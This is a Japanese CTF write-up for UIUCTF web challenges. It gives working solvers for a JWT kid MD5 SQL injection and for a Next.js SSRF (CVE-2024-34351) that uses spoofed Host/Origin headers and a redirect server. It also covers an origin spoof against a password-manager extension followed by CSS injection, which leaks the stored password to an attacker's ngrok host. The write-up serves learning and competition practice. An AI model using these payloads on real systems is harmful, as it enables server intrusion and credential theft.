UIUCTF Web Writeup
脆弱エンジニアチームでUIUCTF参加してきました
結果は76位。Webは4問中2問と残念な結果になってしまいました。が、OSINTやらCryptoでキャリーしてもらったのでチームとしての結果はよかったのではないでしょうか。
初のKali Linuxでの参戦だったので、それで手間取った部分ありました。
Fare Evasion (370点、クリア率18%)
珍しくソースコードが公開されていない問題。「I'm Passenger」のボタンを押すと/pay
にリクエストが送られて、
Sorry passenger, only conductors are allowed right now. Please sign your own tickets.
hashed RòsÜxÉÄÅ´\ä secret: a_boring_passenger_signing_key?
という結果が帰ってくる。ソースコードを見てみると、
async function pay() {
// i could not get sqlite to work on the frontend :(
/*
db.each(`SELECT * FROM keys WHERE kid = '${md5(headerKid)}'`, (err, row) => {
???????
*/
...
というコメントが書いてあり、ここでSQLインジェクションの問題かな、と推測できる。
また、Cookieを見てみると、JWTっぽいトークンがあるので解読してみると、
/pay
へのリクエストの結果から読み取れるa_boring_passenger_signing_key_?
のシークレットを使って認証することができた。また、ヘッダにkid
というフィールドがあるが、これは鍵が複数ある場合の管理方法だそう。
ソースコードがないのでとりあえず実験
-
JWT none攻撃 - アルゴリズムはHS256固定みたい
-
kidを適当な文字列に変更してみると、
Sorry passenger, only conductors are allowed right now. Please sign your own tickets.
の文字列だけ帰ってきて、hashやsecretの情報が帰って来ない。問題文からエスパーして
conductor_key
に変えても同様。 -
kidを空欄すると、
You lost your kid on the train!
-
Secretを違うものにすると
Key isn't passenger or conductor. Please sign your own tickets. \nhashed RòsÜxÉÄÅ´\ä secret: a_boring_passenger_signing_key?
以上から、どうやら例のSQLのコードは毎回実行されていて、kid = '${md5(headerKid)}'
を満たす行が存在する場合はメッセージに追記されるようだ。
また、hashed
の値が文字化けしているようだが、ソースコードに
// todo: convert md5 to hex string instead of latin1??
とあるのでmd5をlatin1に変換したものが保存されているっぽい。試しに、そのとおりに解読してみると、
import requests
import hashlib
URL = "https://fare-evasion.chal.uiuc.tf/"
s = requests.session()
s.get(URL)
r = s.post(URL + "pay")
message = r.json()["message"]
splitted = message.split(" ")
md5 = splitted[14].encode('latin1').hex()
print(md5)
print(hashlib.md5("passenger_key".encode("utf-8")).hexdigest())
5f0852f21e73dc78c9c402c5b4125ce4
5f0852f21e73dc78c9c402c5b4125ce4
passenger_key
のハッシュであることがわかる。
以上までの観察より、md5でハッシュ化したkidの値でSQLiしてすべての値を取得する を目指す。
利用しているSQLはsqliteで有ることが書かれているので、playgroundとかで実験してみると、'\s*OR\s*'0*\.?0*[1-9]
(ignore case)でマッチすれば良いことがわかった。したがって、以下のコードで探索してみる
import hashlib
import itertools
import string
import re
charset = string.printable[:-3]
m = re.compile(r"'\s*OR\s*'0*\.?0*[1-9]", re.IGNORECASE)
for x in charset[1:]:
print(x) # 途中で終了しても再開できるように
for comb in itertools.product(charset, repeat=4):
candidate = x + ''.join(c for c in comb)
md5 = hashlib.md5(candidate.encode()).digest()
hash_value = md5.decode('latin1')
if re.search(m, hash_value):
print(f"{md5} ({candidate})"
結果: QS+02
これを利用して以下ソルバーを作成した
import requests
import jwt
URL = "https://fare-evasion.chal.uiuc.tf/"
secret = ""
s = requests.session()
kid = "QS+02"
token = jwt.encode({}, secret, algorithm="HS256", headers={"kid": kid, "alg": "HS256", "typ": "JWT"})
s.cookies["access_token"] = token
r = s.post(URL + "pay")
print(r.json())
header = jwt.get_unverified_header(s.cookies["access_token"])
print(header)
print(jwt.decode(s.cookies["access_token"], secret, algorithms="HS256"))
secret: conductor_key_873affdf8cc36a592ec790fc62973d55f4bf43b321bf1ccc0514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e
が判明するので、上記のコードのsecretを書き換えると、
'Conductor override success. uiuctf{sigpwny_does_not_condone_turnstile_hopping!}'
条件を満たすkidを探すのに結構時間がかかった(計算量てきに)、どうやら結構あるある問題らしく、専用のツールもあるし、なんなら答えの一つがREADMEに書いてある。
Log Action (431点、クリア率11%)
javascriptのSSRフレームワークnextjsの脆弱性に関する問題。バージョン14.1.0
には、SSRFにかんする脆弱性(CVE-2024-34351)があるので、それを利用する。解説記事 通りにやれば大丈夫でした。
解説記事によれば、/
から始まるパスへのリダイレクトを利用する必要があるとのこと。該当箇所で使いやすそうなのは以下の箇所
export default function Page() {
return (
...
<form
action={async () => {
"use server";
await signOut({ redirect: false });
redirect("/login");
}}
>
...
}
ブラウザでログアウトボタンを押したときのリクエストをChromeの開発者ツールのネットワークタブから右クリック→Copy→Copy as cURLで全く同じcurlコマンドを取得できる。実験しやすいように、curlコンバーターを利用して、コードを生成した。以下は再現に必要な最低限に削ったもの(そうする必要はないけど、記事向けに)
import requests
URL = "http://log-action.challenge.uiuc.tf/"
headers = {
'Next-Action': 'c3a144622dd5b5046f1ccb6007fea3f3710057de',
}
files = {
'1_$ACTION_ID_c3a144622dd5b5046f1ccb6007fea3f3710057de': (None, ''),
'0': (None, '["$K1"]'),
}
response = requests.post(URL + 'logout', headers=headers, files=files)
print(response.text)
結果
2:I[7831,[],""]
3:I[5585,["626","static/chunks/app/login/page-233f6e9b142ed0ae.js"],""]
4:I[5613,[],""]
5:I[1778,[],""]
0:["BNdXuWkGU-RTnbKraxuIr",[[["",{"children":["login",{"children":["__PAGE__",{}]}]},"$undefined","$undefined",true],["",{"children":["login",{"children":["__PAGE__",{},["$L1",["$","$L2",null,{"propsForComponent":{"params":{}},"Component":"$3","isStaticGeneration":true}],null]]},["$","$L4",null,{"parallelRouterKey":"children","segmentPath":["children","login","children"],"loading":"$undefined","loadingStyles":"$undefined","loadingScripts":"$undefined","hasLoading":false,"error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L5",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":"$undefined","notFoundStyles":"$undefined","styles":null}]]},[null,["$","html",null,{"lang":"en","children":["$","body",null,{"children":["$","$L4",null,{"parallelRouterKey":"children","segmentPath":["children"],"loading":"$undefined","loadingStyles":"$undefined","loadingScripts":"$undefined","hasLoading":false,"error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L5",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":[["$","title",null,{"children":"404: This page could not be found."}],["$","div",null,{"style":{"fontFamily":"system-ui,\"Segoe UI\",Roboto,Helvetica,Arial,sans-serif,\"Apple Color Emoji\",\"Segoe UI Emoji\"","height":"100vh","textAlign":"center","display":"flex","flexDirection":"column","alignItems":"center","justifyContent":"center"},"children":["$","div",null,{"children":[["$","style",null,{"dangerouslySetInnerHTML":{"__html":"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}"}}],["$","h1",null,{"className":"next-error-h1","style":{"display":"inline-block","margin":"0 20px 0 0","padding":"0 23px 0 0","fontSize":24,"fontWeight":500,"verticalAlign":"top","lineHeight":"49px"},"children":"404"}],["$","div",null,{"style":{"display":"inline-block"},"children":["$","h2",null,{"style":{"fontSize":14,"fontWeight":400,"lineHeight":"49px","margin":0},"children":"This page could not be found."}]}]]}]}]],"notFoundStyles":[],"styles":null}]}]}],null]],[[["$","link","0",{"rel":"stylesheet","href":"/_next/static/css/113443fcfe40379c.css","precedence":"next","crossOrigin":""}]],"$L6"]]]]
6:[["$","meta","0",{"name":"viewport","content":"width=device-width, initial-scale=1"}],["$","meta","1",{"charSet":"utf-8"}]]
1:null
ここで、ヘッダーのHostとOriginを任意のサイトにすることで、その箇所にリクエストを飛ばせる。実際に、pythonのhttp.serverを立ててリクエストを飛ばしてみると、
HEAD /login HTTP/1.1" 404
無事リクエストは飛んでいるようだが、HEADリクエストになっているし、内容は帰ってきていない。解説記事を読み直してみると、ヘッダーにContent-Type: text/x-component
が含まれると、同じURLにGETリクエストしてくれるみたいだ。
したがって、以下のようなサーバーを立てた。GETされたときにhttp://backend/flag.txt
にリダイレクトするようにして、flag.txtの内容を取得した
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(302)
self.send_header('Content-Type', 'text/x-component')
self.end_headers()
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://backend/flag.txt')
self.end_headers()
def run(server_class=HTTPServer, handler_class=RedirectHandler, addr="localhost", port=9911):
server_address = (addr, port)
httpd = server_class(server_address, handler_class)
print(f"Starting HTTP server on {addr}:{port}")
httpd.serve_forever()
if __name__ == "__main__":
run()
import requests
REMOTE = "xxx.ngrok.app"
URL = "http://log-action.challenge.uiuc.tf/"
headers = {
'Next-Action': 'c3a144622dd5b5046f1ccb6007fea3f3710057de',
'Origin': f'https://{REMOTE}',
'Host': REMOTE,
}
files = {
'1_$ACTION_ID_c3a144622dd5b5046f1ccb6007fea3f3710057de': (None, ''),
'0': (None, '["$K1"]'),
}
response = requests.post(URL + 'logout', headers=headers, files=files)
print(response.text)
Install Docker (-5兆点、事前にやっとけ)
Kali linuxでsudo apt install docker
すると、とても古いバージョンしか手に入らず、バイナリから入れました。しかも、dpkgの設定が変になっちゃって、その後も大変でした。
まとめ
revにつよい友人がいろいろ教えてくれながら問題解くところをみてたんですけど、無知の知を取得するに留まりました。revもpwnも強くなりたいtchenでした。
チームメイト功績を讃えよう!
kariihoさんのOSINT writeup
アススーン・オライオンさんの writeup 作成中
追記: pwnypass
解けなかったんですが、解説みて正直解けたなって結構後悔してます。Chrome Extensionという知らない要素と点数にビビりすぎました。悔しいので手を動かして解きました。
パスワード管理のChrome Extensionを利用しているユーザーがアクセスすると、パスワードを抜き出せてしまうようなWebページを作成する問題。netcatでURLを指定すると、botが以下の動作をしてくれる。
const browser = await puppeteer.launch(puppeter_args);
let page = await browser.newPage();
await page.goto('https://pwnypass.c.hc.lc/login.php', {waitUntil: 'networkidle2'});
await new Promise((res)=>setTimeout(res, 500));
await page.type('input[name="username"]', 'sigpwny');
await page.type('input[name="password"]', FLAG1);
await page.click('body');
await new Promise((res)=>setTimeout(res, 500));
await page.click('input[type="submit"]');
await new Promise((res)=>setTimeout(res, 500));
await page.close();
page = await browser.newPage();
socket.write(`Loading page ${url}.\n`);
socket.write(`Loading page ${url}.\n`);
setTimeout(()=>{
try {
browser.close();
fs.rmSync(tmpDir, { recursive: true, force: true });
socket.write('timeout\n');
socket.destroy();
} catch (err) {
console.log(`err: ${err}`);
}
}, BOT_TIMEOUT);
await page.goto(url);
パスワードアプリは、input[type=password]
のような要素があると、その下にiframeでUIを追加する。UIは以下のコードで生成される。
async function main() {
...
let output = "";
for (let cred of creds) {
output += `
<div class="entry">
<div data-username="${cred.username}" class="user">${cred.username}</div>
<div data-password="${cred.password}" class="pass">${cred.password}</div>
</div><hr>`;
}
output = `<div>${output}</div>`;
window.content.innerHTML = output;
}
cred.username
やcred.password
でHTMLを埋め込むことが可能なことがわかる。ただし、CSPが
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'none';",
となっており、scriptタグやimgタグによるインラインコードの埋め込みは不可能。
さらに、保存したパスワードにはoriginの情報が書き込まれており、同一originからしか保存・取得できないようになっている。botはhttps://pwnypass.c.hc.lc/login.php
にパスワードを書き込んでいるので、originを偽装しなければならない。
originの偽装
ここで、軽くChrome extensionのコードがどのように動いているか解説すると、常時動いているbackground.js
と対象のページが開かれたときのみに起動するcontent.js
がある。(これらの設定はmanifest.json
に記載されている。)これらは、chrome.runtime.onMessage.addListener
とchrome.runtime.sendMessage
によってコミュニケーションをとっているが、これらにWebページからはアクセスできない。また、パスワードの保存はchrome.storage
を利用しているが、これも同様にアクセスできない。つまり、どちらのコードにも直接アクセスすることはできず、originの偽装はコードのバグを利用するしかない。
originを取得している箇所は以下の通り
const getOrigin = async (id) => new Promise((res)=>chrome.tabs.get(id, (t)=>setTimeout(()=>res(new URL(t.pendingUrl ?? t.url).origin),200)));
注目するべきは、pendingUrl
が存在する場合はurl
よりも優先されるという点。ページを移行している最中はそのページとして扱われる。したがって、
- ページの移動を始める
- パスワードの保存を始める
- ページの移動をやめる
とすると、ページの移動をせずにoriginを偽装できる。
以下は、originを偽装するサンプルコード。
const sleep = (t) => new Promise((r) => setTimeout(r, t));
const fakeURL = 'https://pwnypass.c.hc.lc/login.php';
window.addEventListener("load", async () => {
await sleep(500);
const $u = document.querySelector("input[type='text']");
const $p = document.querySelector("input[type='password']");
$u.value = 'injection';
$p.value = "test";
await sleep(200);
window.location.assign(fakeURL);
$u.dispatchEvent(new Event("change"));
await sleep(25);
window.stop()
await sleep(500);
window.location.assign(fakeURL);
$p.form.dispatchEvent(new Event("submit"));
await sleep(25);
window.stop()
})
これによって、データを取得したいページにパスワードを書き込む=HTMLを埋め込む準備ができた。(大会中はここまでできた)
CSS Injection
いやぁ、知ってはいたけど思いつかなかったなぁ。スレッドで単語を見ただけで頭を抱えました。
CSSのセレクタには、タグのアトリビュートの値に先頭一致させることができるものがある。アトリビュートdata-password
がabc
からはじまる要素のみに一致させるには、
[data-password^='abc'] {
...
}
また、background-imageにurlを指定すると、適用される要素が存在するときのみその画像を読み込む。これを利用して、
[data-password^='a']{ background: url(https://xxx.ngrok.app/x.css/?c=a) }
[data-password^='b']{ background: url(https://xxx.ngrok.app/x.css/?c=b) }
[data-password^='c']{ background: url(https://xxx.ngrok.app/x.css/?c=c) }
...
のようなCSSを埋め込むと、data-password
の値がなにから始まるかわかる。これを繰り返すことによって、data-password
の値をすべて特定することができる。
以下のようなWebサーバーを立ち上げて、これらのCSS Injectionを実行した。
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib
from os import curdir
known = "uiuctf{"
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
global known
parsed = urllib.parse.urlparse(self.path)
query = urllib.parse.parse_qs(parsed.query)
if parsed.path == "/":
if len(query) == 0:
self.send_response(302)
self.send_header('Location', f'/?known={known}')
self.end_headers()
return
f = open("index.html", 'rb')
self.send_response(200)
self.end_headers()
self.wfile.write(f.read())
return
if "c" in query and len(query["c"][0]) > len(known):
known = query["c"][0]
self.send_response(404)
self.end_headers()
def run(server_class=HTTPServer, handler_class=RedirectHandler, addr="localhost", port=9911):
server_address = (addr, port)
httpd = server_class(server_address, handler_class)
print(f"Starting HTTP server on {addr}:{port}")
httpd.serve_forever()
if __name__ == "__main__":
run()
<html>
<head>
<script>
const sleep = (t) => new Promise((r) => setTimeout(r, t));
const fakeURL = 'https://pwnypass.c.hc.lc/login.php';
const knownFlag = new URLSearchParams(window.location.search).get("known");
const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_&-"
function createStyle() {
return letters.split("")
.map(c => `[data-password^='${knownFlag + c}']{ background: url(https://xxx.ngrok.app/c.css/?c=${knownFlag + c}) }`)
.join("\n")
}
window.addEventListener("load", async () => {
await sleep(500);
const $u = document.querySelector("input[type='text']");
const $p = document.querySelector("input[type='password']");
$u.value = `"\>\<style\>${createStyle()}\</style\>`;
$p.value = "test";
await sleep(200);
window.location.assign(fakeURL);
$u.dispatchEvent(new Event("change"));
await sleep(25);
window.stop()
await sleep(500);
window.location.assign(fakeURL);
$p.form.dispatchEvent(new Event("submit"));
await sleep(25);
window.stop()
const win = window.open(fakeURL);
await sleep(2500);
win.close();
window.location.assign("/")
})
</script>
</head>
<body>
<form method="POST">
<input name="username" type="text" style="width: 45%">
<input name="password" type="password" style="width: 45%">
<input name="submit" type="submit">
</form>
</body>
</html>
うん、くやしい。pawnypass 2はwriteupさえまだなので、わかったらまた手を動かします。
Discussion